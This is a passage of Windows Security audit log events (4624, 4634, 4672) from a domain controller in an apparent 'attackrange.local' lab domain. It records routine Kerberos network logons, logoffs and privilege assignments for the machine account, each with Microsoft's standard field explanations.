The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248827
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC7B41

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248850
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC7FB0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248849
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC7FB0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64053

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248848
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC7FB0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248847
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC7F4F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248846
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC7F4F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64052

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248845
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC7F4F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248844
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC7EE9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248843
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC7EE9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64051

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248842
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC7EE9

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248841
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC7E88

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248840
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC7E88
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64050

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248839
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC7E88

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248862
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC8145

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248861
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC8145
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64057

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248860
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC8145

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248859
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC80E4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248858
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC80E4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64056

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248857
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC80E4

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248856
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC807E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248855
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC807E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64055

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248854
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC807E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248853
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC801D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248852
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC801D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64054

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248851
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC801D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248874
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC82E2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248873
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC82E2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64061

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248872
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC82E2

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
